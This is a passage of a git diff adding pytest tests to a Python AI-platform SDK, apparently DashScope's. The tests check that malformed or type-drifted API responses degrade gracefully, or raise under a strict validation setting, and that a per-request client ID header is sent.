{"role": "assistant", "content": "he"}}, + ], + }, + # A number where the model declares ``Optional[str]``. + {"id": "c-drift", "choices": [{"index": 0, "delta": {"content": 123}}]}, + { + "id": "c-drift", + "choices": [ + {"index": 0, "delta": {"content": "llo"}, "finish_reason": "stop"}, + ], + }, + "[DONE]", +] + + +def _stream_handler(request): + return httpx.Response( + 200, + text=_sse(_CHUNKED_EVENTS), + headers={"content-type": "text/event-stream"}, + ) + + +def test_streaming_continues_past_a_corrupt_delta(caplog): + client = _make_client(_stream_handler, protocol="openai") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + chunks = list(stream) + # All three events arrived; the corrupt one degraded to an empty delta + # instead of tearing down the iterator mid-flight. + assert len(chunks) == 3 + assert chunks[0].choices[0].delta.content == "he" + assert chunks[1].choices[0].delta.content is None + assert chunks[2].choices[0].delta.content == "llo" + assert _drift_records(caplog) + + +@pytest.mark.asyncio +async def test_async_streaming_continues_past_a_corrupt_delta(caplog): + client = _make_async_client(_stream_handler, protocol="openai") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + stream = await client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + contents = [chunk.choices[0].delta.content async for chunk in stream] + assert contents == ["he", None, "llo"] + assert _drift_records(caplog) + await client.aclose() + + +def test_get_final_message_survives_a_corrupt_delta(): + client = _make_client(_stream_handler, protocol="openai") + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + final = stream.get_final_message() + assert final.output_text == "hello" + assert isinstance(final.choices[0].message.role, str) + + +@pytest.mark.asyncio +async def test_async_get_final_message_survives_a_corrupt_delta(): + client = _make_async_client(_stream_handler, protocol="openai") + stream = await client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + final = await stream.get_final_message() + assert final.output_text == "hello" + await client.aclose() + + +def test_strict_validation_raises_mid_stream(): + client = _make_client( + _stream_handler, + protocol="openai", + strict_validation=True, + ) + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + with pytest.raises(APIResponseValidationError) as caught: + list(stream) + # The parser is bound to the stream's envelope, so a mid-stream + # failure still names the response it came from. + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +# --------------------------------------------------------------------------- +# the transport-level net: a parser that validates on its own is converted +# --------------------------------------------------------------------------- + + +class _ValidatingModel(BaseModel): + """Stands in for a resource whose parser has no salvage step.""" + + total: int + + +def _validating_parse(body): + return _ValidatingModel.model_validate(body) + + +def test_stream_converts_a_bare_validation_error(): + # Chat parsers degrade, so this net only fires for a parser that + # validates directly (today: audio and tingwu streams). It still + # matters -- mid-iteration, after earlier chunks were consumed, a raw + # pydantic error would slip past the caller's ``except DashScopeError``. + response = httpx.Response( + 200, + text=_sse([{"total": 1}, {"total": "many"}]), + headers={"content-type": "text/event-stream"}, + ) + with pytest.raises(APIResponseValidationError) as caught: + list(Stream(response, _validating_parse)) + assert isinstance(caught.value, DashScopeError) + assert caught.value.body == {"total": "many"} + assert isinstance(caught.value.cause, ValidationError) + + +@pytest.mark.asyncio +async def test_async_stream_converts_a_bare_validation_error(): + response = httpx.Response( + 200, + text=_sse([{"total": 1}, {"total": "many"}]), + headers={"content-type": "text/event-stream"}, + ) + with pytest.raises(APIResponseValidationError) as caught: + async for _ in AsyncStream(response, _validating_parse): + pass + assert caught.value.body == {"total": "many"} + + +# --------------------------------------------------------------------------- +# resources: models, files, jobs +# --------------------------------------------------------------------------- + + +def test_models_list_degrades_a_null_total_count(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-models", + "output": { + "page_no": 1, + "page_size": 10, + "total": None, + "models": [{"model": "qwen-plus", "open_source": "maybe"}], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + page = client.models.list() + assert page.total_count == 0 + assert page.models[0].model == "qwen-plus" + assert _drift_records(caplog) + + +def test_models_get_degrades_a_drifted_model(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-model", + "output": { + "models": [ + {"model": "qwen-plus", "open_source": "maybe"}, + ], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + model = client.models.get("qwen-plus") + assert model.model == "qwen-plus" + assert model.open_source is None + assert _drift_records(caplog) + + +def test_files_list_degrades_a_drifted_size(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": { + "page_no": 1, + "page_size": 10, + "total": 1, + "files": [ + { + "file_id": "f-1", + "name": "t.jsonl", + "size": "12kb", + }, + ], + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + listed = client.files.list() + assert listed.files[0].file_id == "f-1" + # ``size`` is Optional, so the repair is its declared default rather + # than a zeroed int -- a missing count reads as unknown, not as empty. + assert listed.files[0].size is None + assert listed.total_count == 1 + assert _drift_records(caplog) + + +def test_files_get_degrades_a_drifted_uploaded_at(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-file", + "data": { + "file_id": "f-1", + "uploaded_at": 1700000000, + "purpose": "fine-tune", + }, + }, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + got = client.files.get("f-1") + assert got.file_id == "f-1" + assert got.uploaded_at is None + assert _drift_records(caplog) + + +def test_job_fetch_degrades_a_drifted_task_status(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-job", + "output": { + "task_id": "task-1", + "task_status": 200, + "results": [{"url": "https://example.test/a.png"}], + }, + "usage": {"input_tokens": "many"}, + }, + ) + + client = _make_client(handler) + jobs = Jobs(client, "aigc") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + job = jobs.fetch("task-1") + # ``status`` is aliased from ``task_status``, so the repair has to + # resolve the alias to find the field it is fixing. + assert job.task_id == "task-1" + assert job.status == "" + assert not job.succeeded + assert job.usage.input_tokens == 0 + # A drifted sibling must not cost the caller the healthy fields. + assert job.image_urls == ["https://example.test/a.png"] + assert _drift_records(caplog) + + +def test_job_list_degrades_a_drifted_task(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-jobs", + "page_no": 1, + "page_size": 10, + "total": "many", + "tasks": [ + {"task_id": "task-1", "task_status": "SUCCEEDED"}, + {"task_id": "task-2", "submit_time": 1700000000}, + ], + }, + ) + + client = _make_client(handler) + jobs = Jobs(client, "aigc") + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + page = jobs.list() + assert page.total == 0 + assert page.tasks[0].task_id == "task-1" + assert page.tasks[0].succeeded + # The drifted entry keeps its index: a caller paging by position would + # be misaligned if the repair dropped it instead. + assert page.tasks[1].task_id == "task-2" + assert page.tasks[1].submitted_at is None + assert _drift_records(caplog) + + +@pytest.mark.asyncio +async def test_async_resources_degrade_too(caplog): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": {"files": [{"file_id": "f-1", "size": "12kb"}]}, + }, + ) + + client = _make_async_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + listed = await client.files.list() + # ``size`` is Optional, so the repair is its declared default rather + # than a zeroed int -- a missing count reads as unknown, not as empty. + assert listed.files[0].size is None + assert _drift_records(caplog) + await client.aclose() + + +def test_strict_validation_covers_the_resource_layer(): + def handler(request): + return _json_response( + { + "request_id": "r-files", + "data": {"files": [{"file_id": "f-1", "size": "12kb"}]}, + }, + ) + + client = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError) as caught: + client.files.list() + # ``body`` is the payload handed to the model, which a resource helper + # has already unwrapped out of the wire envelope -- still enough to see + # exactly which field drifted. + assert caught.value.body["files"][0]["size"] == "12kb" + # The response is threaded through the helper too, so the caller can + # read the status and headers of the body that failed. + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +# --------------------------------------------------------------------------- +# drift that used to escape as a bare ValueError / TypeError / AttributeError +# --------------------------------------------------------------------------- + + +def test_anthropic_streaming_survives_a_drifted_usage_bag(): + # ``dict.update()`` on a retyped bag raised ValueError (a string) or + # TypeError (a number) mid-iteration, outside any handler the caller + # could write -- and after earlier chunks were already consumed. + events = [ + { + "type": "message_start", + "message": {"id": "msg-1", "model": "m", "usage": "unlimited"}, + }, + { + "type": "content_block_start", + "index": 0, + "content_block": {"type": "text", "text": ""}, + }, + { + "type": "content_block_delta", + "index": 0, + "delta": {"type": "text_delta", "text": "hi"}, + }, + {"type": "message_delta", "usage": 5}, + {"type": "message_stop"}, + ] + + def handler(request): + return httpx.Response( + 200, + text=_sse(events), + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, protocol="anthropic") + stream = client.chat.completions.create( + model="claude-x", + messages="hi", + stream=True, + ) + assert "".join(stream.text_stream) == "hi" + + +def test_a_non_mapping_choice_element_degrades_instead_of_raising(): + # ``dict(raw)`` on a bare string raised ValueError before parse_model + # ever saw the body. + def handler(request): + return _json_response( + { + "request_id": "r-drift", + "output": { + "choices": [ + "oops", + { + "index": 1, + "finish_reason": "stop", + "message": {"role": "assistant", "content": "ok"}, + }, + ], + }, + }, + ) + + client = _make_client(handler) + result = client.chat.completions.create(model="qwen-plus", messages="hi") + # The bad element keeps its slot rather than being dropped, so the + # healthy choice stays at the index the server put it at. + assert len(result.choices) == 2 + assert result.choices[1].message.content == "ok" + + +def test_a_non_mapping_choice_element_keeps_a_stream_positionally_aligned(): + def handler(request): + return httpx.Response( + 200, + text=_sse( + [ + { + "id": "c-drift", + "choices": [ + "oops", + {"index": 1, "delta": {"content": "ok"}}, + ], + }, + "[DONE]", + ], + ), + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, protocol="openai") + stream = client.chat.completions.create( + model="qwen-plus", + messages="hi", + stream=True, + ) + (chunk,) = list(stream) + assert [choice.index for choice in chunk.choices] == [0, 1] + assert chunk.choices[1].delta.content == "ok" + + +def test_a_non_mapping_content_block_is_skipped_by_the_anthropic_adapter(): + def handler(request): + return _json_response( + { + "id": "msg-drift", + "model": "claude-x", + "content": ["oops", {"type": "text", "text": "hi"}], + }, + ) + + client = _make_client(handler, protocol="anthropic") + result = client.chat.completions.create(model="claude-x", messages="hi") + assert result.output_text == "hi" + + +def test_a_non_mapping_output_envelope_degrades_instead_of_raising(): + def handler(request): + return _json_response({"request_id": "r-drift", "output": "oops"}) + + client = _make_client(handler) + result = client.chat.completions.create(model="qwen-plus", messages="hi") + assert result.request_id == "r-drift" + assert result.choices == [] + + +def test_strict_validation_reaches_the_image_sync_path(): + # ``images.generate`` answers synchronously for multimodal-protocol + # models and builds its Job through a helper of its own; without the + # flag threaded there, strict mode was silently ignored on that path. + def handler(request): + return _json_response( + { + "request_id": "r-img", + "submit_time": 5, + "output": { + "choices": [ + { + "finish_reason": "stop", + "message": {"content": [{"text": "hi"}]}, + }, + ], + }, + }, + ) + + client = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError) as caught: + client.images.generate(model="wan2.6-t2i", prompt="a cat") + assert caught.value.response is not None + + degraded = _make_client(handler).images.generate( + model="wan2.6-t2i", + prompt="a cat", + ) + assert degraded.succeeded + assert degraded.submitted_at is None + + +# --------------------------------------------------------------------------- +# the whole resource layer, one drifted body each +# --------------------------------------------------------------------------- + + +def _resolve(obj, path): + """Read ``"deployments[0].capacity"`` off a parsed model.""" + current = obj + for part in path.replace("[", ".[").split("."): + if not part: + continue + if part.startswith("["): + current = current[int(part[1:-1])] + else: + current = getattr(current, part) + return current + + +# Every resource that parses a wire body gets one row: the field named by +# ``path`` arrives with the wrong type, so ``parse_model`` has to replace it +# with the model's declared default. A bare ``pydantic.ValidationError`` +# escaping here is the failure mode -- it is not a ``DashScopeError``, so no +# caller's ``except`` clause would catch it. +_RESOURCE_DRIFT_CASES = [ + ( + "deployments.get", + lambda client: client.deployments.get("dep-1"), + { + "request_id": "req-1", + "output": { + "deployed_model": "dep-1", + "model_name": "ft-model", + "status": "RUNNING", + "capacity": "lots", + }, + }, + "capacity", + None, + ), + ( + "deployments.list", + lambda client: client.deployments.list(), + { + "request_id": "req-2", + "output": { + "page_no": 1, + "page_size": 10, + "total": "many", + "deployments": [ + { + "deployed_model": "dep-1", + "model_name": "ft-model", + "status": "RUNNING", + }, + ], + }, + }, + "total_count", + 0, + ), + ( + "fine_tunes.get", + lambda client: client.fine_tunes.get("ft-1"), + { + "request_id": "req-1", + "output": {"job_id": "ft-1", "status": "RUNNING"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "fine_tunes.logs", + lambda client: client.fine_tunes.logs("ft-1"), + {"request_id": "req-logs", "output": {"logs": 123}}, + "content", + "", + ), + ( + "rl.jobs.fetch", + lambda client: client.rl.jobs.fetch("ft-1"), + { + "request_id": "req-3", + "output": {"job_id": "ft-1", "status": "RUNNING"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "rerank.create", + lambda client: client.rerank.create( + model="gte-rerank-v2", + query="q", + documents=["a", "b"], + ), + { + "request_id": "req-r", + "output": { + "results": [ + {"index": 1, "relevance_score": 0.9}, + {"index": 0, "relevance_score": 0.2}, + ], + }, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "tokenization.count", + lambda client: client.tokenization.count( + model="qwen-plus", + prompt="hello world", + ), + { + "request_id": "req-t", + "usage": {"input_tokens": 7}, + "output": {"token_ids": 5}, + }, + "token_ids", + None, + ), + ( + "tingwu.call", + lambda client: client.tingwu.call( + model="tingwu-turbo", + input={"source_language": "cn", "task": "summarization"}, + ), + { + "request_id": "req-1", + "output": {"TaskId": "t-1", "Result": {"summary": "ok"}}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "apps.completions.create", + lambda client: client.apps.completions.create( + app_id="app-1", + prompt="hi", + ), + { + "request_id": "req-1", + "output": {"text": "Hello from app", "finish_reason": "stop"}, + "usage": "unlimited", + }, + "usage", + None, + ), + ( + "decision.create", + lambda client: client.decision.create( + model="decision-model-preview", + state="text", + questions={ + "escalate": {"type": "noul", "instructions": "?"}, + }, + ), + { + "model": "decision-model-preview", + "request_id": "r-1", + "answers": {"escalate": {"type": "noul", "noul": 0.99}}, + "latency_ms": "fast", + }, + "latency_ms", + None, + ), + ( + "audio.phrases.list", + lambda client: client.audio.phrases.list(), + { + "request_id": "r-1", + "output": { + "jobs": [{"job_id": "p-1", "status": "SUCCEEDED"}], + "total": "many", + }, + }, + "total_count", + 0, + ), + ( + "audio.vocabularies.create", + lambda client: client.audio.vocabularies.create( + target_model="paraformer-v2", + prefix="med", + vocabulary=[{"text": "x", "weight": 4}], + ), + { + "request_id": "req-v1", + "output": {"vocabulary_id": "vocab-1", "vocabulary": "hot"}, + }, + "vocabulary", + None, + ), + ( + "audio.tts.http.synthesize", + lambda client: client.audio.tts.http.synthesize( + "你好", + model="qwen-audio-3.1-tts-flash", + voice="longanfengyue_v3.1", + ), + { + "request_id": "req-body-1", + "output": { + "audio": { + "url": "https://cdn.test/a.wav", + "id": "audio-1", + "expires_at": 1720000000, + }, + }, + "message": 123, + }, + "message", + None, + ), +] + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_every_resource_degrades_a_drifted_field( + call, + body, + path, + expected, + caplog, +): + client = _make_client(lambda request: _json_response(body)) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + result = call(client) + assert _resolve(result, path) == expected + assert _drift_records(caplog), "degradation must be logged" + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_every_resource_raises_in_strict_mode(call, body, path, expected): + # The point of the flag: a contract test wants the drift surfaced, not + # papered over -- and it must surface as something catchable. + client = _make_client( + lambda request: _json_response(body), + strict_validation=True, + ) + with pytest.raises(APIResponseValidationError) as caught: + call(client) + assert caught.value.response is not None + assert caught.value.response.status_code == 200 + + +@pytest.mark.parametrize( + "call, body, path, expected", + [case[1:] for case in _RESOURCE_DRIFT_CASES], + ids=[case[0] for case in _RESOURCE_DRIFT_CASES], +) +def test_drift_still_degrades_under_raise_on_error_false( + call, + body, + path, + expected, + caplog, +): + # Compat mode is about *service* errors; a 200 body with a drifted field + # must degrade the same way either way. This is also the only test that + # notices a resource dropping ``client=`` when it calls ``request_api``, + # which would silently reset ``raise_on_error`` to its default. + client = _make_client( + lambda request: _json_response(body), + raise_on_error=False, + ) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + result = call(client) + assert not result.is_error + assert _resolve(result, path) == expected + assert _drift_records(caplog) + + +# --------------------------------------------------------------------------- +# streamed frames: a drift partway through must not end the iteration +# --------------------------------------------------------------------------- + + +def test_a_drifted_sse_frame_degrades_instead_of_breaking_the_stream(caplog): + # ``stream_events`` parses each frame after the earlier ones were already + # handed to the caller, so a bare ValidationError used to land + # mid-iteration with nothing the caller could have caught up front. + sse = ( + 'id: 1\ndata: {"status": "RUNNING"}\n\n' + # ``output`` is declared ``Union[Dict, str, None]``; a bare number + # matches none of the three. + "id: 2\ndata: 123\n\n" + 'id: 3\ndata: {"status": "SUCCEEDED"}\n\n' + ) + + def handler(request): + return httpx.Response( + 200, + content=sse, + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler) + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + events = list(client.fine_tunes.stream_events("ft-1")) + assert [event.output for event in events] == [ + {"status": "RUNNING"}, + None, + {"status": "SUCCEEDED"}, + ] + assert _drift_records(caplog) + + +def test_a_drifted_sse_frame_raises_in_strict_mode(): + sse = 'id: 1\ndata: {"status": "RUNNING"}\n\nid: 2\ndata: 123\n\n' + + def handler(request): + return httpx.Response( + 200, + content=sse, + headers={"content-type": "text/event-stream"}, + ) + + client = _make_client(handler, strict_validation=True) + events = client.fine_tunes.stream_events("ft-1") + assert next(events).output == {"status": "RUNNING"} + # The first frame was already consumed, so this is exactly the case where + # an uncatchable exception would have been worst. + with pytest.raises(APIResponseValidationError) as caught: + next(events) + # The frame's response is the stream itself, which is still open. + assert caught.value.response is not None + + +class _ScriptedSocket: + """Websocket stub replaying a queued inbox; the task id is echoed back.""" + + def __init__(self, inbox): + self.sent = [] + self._inbox = list(inbox) + self.closed = False + + def send(self, payload, opcode=1): + self.sent.append(payload) + + def recv(self): + if not self._inbox: + return None + raw = self._inbox.pop(0) + if isinstance(raw, str): + event = json.loads(raw) + header = event.get("header") if isinstance(event, dict) else None + if isinstance(header, dict) and header.get("task_id") == "t": + sent = json.loads(self.sent[0]) + header["task_id"] = sent["header"]["task_id"] + return json.dumps(event) + return raw + + def close(self): + self.closed = True + + def settimeout(self, seconds): + pass + + +def _ws_event(name, payload=None): + return json.dumps( + { + "header": {"event": name, "task_id": "t", "request_id": "r"}, + "payload": payload or {}, + }, + ) + + +def _recognition(client, inbox): + socket = _ScriptedSocket(inbox) + return client.audio.asr.recognize( + model="paraformer-realtime-v2", + connector=lambda url, headers: socket, + ) + + +def _ws_client(**kwargs): + # ``WsSession`` derives the websocket endpoint from the workspace, so the + # WS tests need one even though no HTTP request is ever made. + kwargs.setdefault("workspace", "ws-test") + return _make_client(lambda request: _json_response({}), **kwargs) + + +def test_a_drifted_websocket_frame_degrades(caplog): + # ``Recognition`` keeps the live config rather than a snapshot of the + # flag, so a session opened before ``strict_validation`` changed still + # reads the current setting at parse time. + client = _ws_client() + with _recognition( + client, + [ + _ws_event("task-started"), + _ws_event("result-generated", {"output": "oops"}), + _ws_event( + "result-generated", + {"output": {"sentence": {"text": "你好", "end_time": 9}}}, + ), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + with caplog.at_level(logging.DEBUG, logger="dashscope._logging"): + results = list(recognition.results()) + assert results[0].output == {} + assert results[1].get_sentence()["text"] == "你好" + assert _drift_records(caplog) + + +def test_a_drifted_websocket_frame_raises_in_strict_mode(): + client = _ws_client(strict_validation=True) + with _recognition( + client, + [ + _ws_event("task-started"), + _ws_event("result-generated", {"output": "oops"}), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + with pytest.raises(APIResponseValidationError) as caught: + list(recognition.results()) + # Deliberate: a websocket frame has no httpx.Response to carry, and + # ``APIResponseValidationError.response=None`` is a supported shape. + assert caught.value.response is None + + +def test_a_non_dict_websocket_payload_does_not_crash_the_session(): + # ``events()`` timed the first package off + # ``payload["output"]["sentence"]`` and ``results()`` did + # ``dict(payload)`` -- a payload that drifted to a bare string raised + # AttributeError / ValueError before ``parse_model`` ever ran, and no + # ``except DashScopeError`` catches either. + client = _ws_client() + with _recognition( + client, + [ + _ws_event("task-started"), + json.dumps( + { + "header": { + "event": "result-generated", + "task_id": "t", + "request_id": "r", + }, + "payload": "oops", + }, + ), + _ws_event( + "result-generated", + {"output": {"sentence": {"text": "你好", "end_time": 9}}}, + ), + _ws_event("task-finished"), + ], + ) as recognition: + recognition.stop() + results = list(recognition.results()) + assert results[0].output == {} + assert results[1].get_sentence()["text"] == "你好" diff --git a/tests/test_settings.py b/tests/test_settings.py index e150c845..df401195 100644 --- a/tests/test_settings.py +++ b/tests/test_settings.py @@ -30,6 +30,7 @@ def clean(monkeypatch): "DASHSCOPE_REGION", "DASHSCOPE_WEBSOCKET_BASE_URL", "DASHSCOPE_PROTOCOL", + "DASHSCOPE_STRICT_VALIDATION", "DASHSCOPE_LOG", "DASHSCOPE_CONFIG", ): @@ -59,6 +60,7 @@ def test_defaults(clean): assert settings.protocol == "native" assert settings.websocket_base_url is None assert settings.log_level is None + assert settings.strict_validation is False def test_base_url_default_is_native_regardless_of_protocol(clean): @@ -160,6 +162,43 @@ def test_setter_validation(clean): settings.base_url = 123 +def test_strict_validation_lazy_env_and_setter(clean): + assert settings.strict_validation is False + clean.setenv("DASHSCOPE_STRICT_VALIDATION", "true") + assert settings.strict_validation is True + settings.strict_validation = False + # An explicit False has to win over the env: a truthiness check here + # would fall through to it and report True. + assert settings.strict_validation is False + settings.clear() + assert settings.strict_validation is True + + +def test_strict_validation_setter_uses_the_env_truth_table(clean): + for raw, expected in ( + ("0", False), + ("off", False), + (0, False), + (1, True), + ("yes", True), + (True, True), + ): + settings.strict_validation = raw + assert settings.strict_validation is expected, raw + with pytest.raises(ValueError, match="strict_validation"): + settings.strict_validation = "maybe" + + +def test_strict_validation_settings_beat_env_in_resolve(clean, tmp_path): + clean.setenv("DASHSCOPE_STRICT_VALIDATION", "0") + settings.strict_validation = True + cfg = resolve_config( + workspace="ws-123", + config_path=tmp_path / "absent.toml", + ) + assert cfg.strict_validation is True + + def test_log_level_setter_applies_immediately(clean): logger = logging.getLogger(ROOT_NAME) settings.log_level = "debug" diff --git a/tests/test_tools_resources.py b/tests/test_tools_resources.py index 50e45959..2cff858e 100644 --- a/tests/test_tools_resources.py +++ b/tests/test_tools_resources.py @@ -10,6 +10,7 @@ import pytest from dashscope import AsyncClient, Client +from dashscope.errors import APIResponseValidationError from dashscope.resources.embeddings import parse_embedding_response BASE_URL = "https://api.test.local/api/v1" @@ -195,6 +196,94 @@ def test_embedding_response_plural_wins_over_singular(): assert resp.embeddings[0].embedding == [0.5] +def test_embedding_response_drift_degrades_instead_of_raising(): + # embeddings builds its model through parse_model like every other + # migrated resource, so a drifted field degrades rather than escaping + # as a bare pydantic ValidationError. + resp = parse_embedding_response( + { + "request_id": "req-drift", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + assert resp.request_id == "req-drift" + assert resp.embeddings[0].embedding == [0.1] + + +def test_embedding_response_strict_raises(): + # The global strict_validation contract has to reach this parser too, + # or turning it on in CI silently skips a whole resource. + body = { + "request_id": "req-strict", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + } + with pytest.raises(APIResponseValidationError): + parse_embedding_response(body, strict=True) + + +def test_embedding_response_tolerates_a_non_dict_output(): + # ``output.get`` used to assume a dict; a malformed envelope now parses + # as an empty page instead of raising AttributeError. + resp = parse_embedding_response({"request_id": "r", "output": [1, 2]}) + assert resp.embeddings == [] + + +def test_embeddings_create_honours_client_strict_validation(): + # End to end: the flag on the Client has to arrive at the parser. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-e2e", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_client(handler) + assert lenient.embeddings.create(model="m", input="hi").request_id == ( + "req-e2e" + ) + + strict = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict.embeddings.create(model="m", input="hi") + + +def test_multimodal_embeddings_create_honours_client_strict_validation(): + # The multimodal endpoint rides the pre-request_api transport path, but + # its ``request`` returns the same httpx.Response, so the flag has to + # arrive here exactly as it does on ``embeddings.create`` and on + # ``images.generate`` -- otherwise one embedding surface silently stays + # lenient while its sibling fails loudly on the same drift. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-mm-e2e", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_client(handler) + resp = lenient.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + assert resp.request_id == "req-mm-e2e" + assert resp.embeddings[0].embedding == [0.1] + + strict = _make_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + strict.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + + def test_multimodal_embeddings_validation(): client = _make_client(lambda r: httpx.Response(200)) with pytest.raises(ValueError, match="input"): @@ -538,6 +627,36 @@ async def fake_sleep(delay): await client.aclose() +@pytest.mark.asyncio +async def test_async_multimodal_embeddings_honours_strict_validation(): + # The async call site forwards the flag independently of the sync one. + def handler(request): + return httpx.Response( + 200, + json={ + "request_id": "req-mm-async", + "output": {"embeddings": [{"index": 0, "embedding": [0.1]}]}, + "usage": {"total_tokens": "not-an-int"}, + }, + ) + + lenient = _make_async_client(handler) + resp = await lenient.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + assert resp.request_id == "req-mm-async" + await lenient.aclose() + + strict = _make_async_client(handler, strict_validation=True) + with pytest.raises(APIResponseValidationError): + await strict.multimodal.embeddings.create( + model="multimodal-embedding-v1", + input=[{"text": "hi"}], + ) + await strict.aclose() + + def test_business_code_reaches_tool_responses(): # These four parsers pick their fields out of the body by hand, so the # envelope has to be threaded on separately for is_error to mean the diff --git a/tests/test_transport.py b/tests/test_transport.py index 805a0d1c..e3aaa282 100644 --- a/tests/test_transport.py +++ b/tests/test_transport.py @@ -7,6 +7,8 @@ from __future__ import annotations +import uuid + import httpx import pytest @@ -19,7 +21,10 @@ ) from dashscope.transport import AsyncTransport, SyncTransport from dashscope.transport import http as transport_http -from dashscope.transport._ident import SDK_CLIENT_VALUE +from dashscope.transport._ident import ( + CLIENT_REQUEST_ID_HEADER, + SDK_CLIENT_VALUE, +) from dashscope.transport._retry import backoff_delay, retry_after_seconds BASE_URL = "https://api.test.local" @@ -485,6 +490,158 @@ async def test_async_sdk_identification_headers(no_sleep): await t.aclose() +def test_client_request_id_header_name(): + # Pin the wire contract: renaming the constant must not silently + # rename the header the gateway is asked to log. + assert CLIENT_REQUEST_ID_HEADER == "x-dashscope-client-request-id" + + +def test_client_request_id_is_a_fresh_uuid_per_request(no_sleep): + # The session id groups every request a process makes; this one + # narrows a log search to a single call, so two requests through one + # transport must not share it. + rec = _Recorder() + t = _make_sync(rec, []) + t.request("GET", "/x") + t.request("GET", "/y") + first = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + second = rec.requests[1].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(first).hex == first # 32 lowercase hex chars + assert uuid.UUID(second).hex == second + assert first != second + # Both still belong to one SDK session. + assert ( + rec.requests[0].headers["x-dashscope-sdk-session-id"] + == rec.requests[1].headers["x-dashscope-sdk-session-id"] + ) + + +def test_client_request_id_is_shared_by_a_request_and_its_retries(no_sleep): + # Retries are attempts at one logical request: the client id stays + # fixed while the gateway hands out an x-request-id per attempt, so + # the server-side ids all correlate back to one client id. + rec = _Recorder() + t = _make_sync(rec, [(429, {}), (200, {})], max_retries=2) + t.request("GET", "/x") + assert rec.calls == 2 + sent = [r.headers[CLIENT_REQUEST_ID_HEADER] for r in rec.requests] + assert len(set(sent)) == 1 + + +def test_client_request_id_on_streams(no_sleep): + rec = _Recorder() + t = _make_sync(rec, []) + t.open_stream("GET", "/x").close() + sent = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + assert uuid.UUID(sent).hex == sent + + +def test_client_request_id_overridden_by_caller(no_sleep): + rec = _Recorder() + t = _make_sync(rec, []) + t.request( + "GET", + "/x", + headers={"X-DashScope-Client-Request-Id": "caller-id"}, + ) + sent = rec.requests[0].headers + assert sent[CLIENT_REQUEST_ID_HEADER] == "caller-id" + assert len(sent.get_list(CLIENT_REQUEST_ID_HEADER)) == 1 + + +def test_client_request_id_disabled_with_the_other_sdk_headers(monkeypatch): + monkeypatch.setenv("DASHSCOPE_DISABLE_SDK_HEADERS", "1") + rec = _Recorder() + t = _make_sync(rec, []) + t.request("GET", "/x") + assert CLIENT_REQUEST_ID_HEADER not in rec.requests[0].headers + + +def test_connection_error_carries_the_client_request_id(no_sleep): + # The request never reached the gateway, so there is no server + # x-request-id to report; the id the SDK sent is the only handle left. + rec = _Recorder() + t = _make_sync(rec, [httpx.ConnectError("boom")], max_retries=0) + with pytest.raises(APIConnectionError) as exc_info: + t.request("GET", "/x") + sent = rec.requests[0].headers[CLIENT_REQUEST_ID_HEADER] + assert 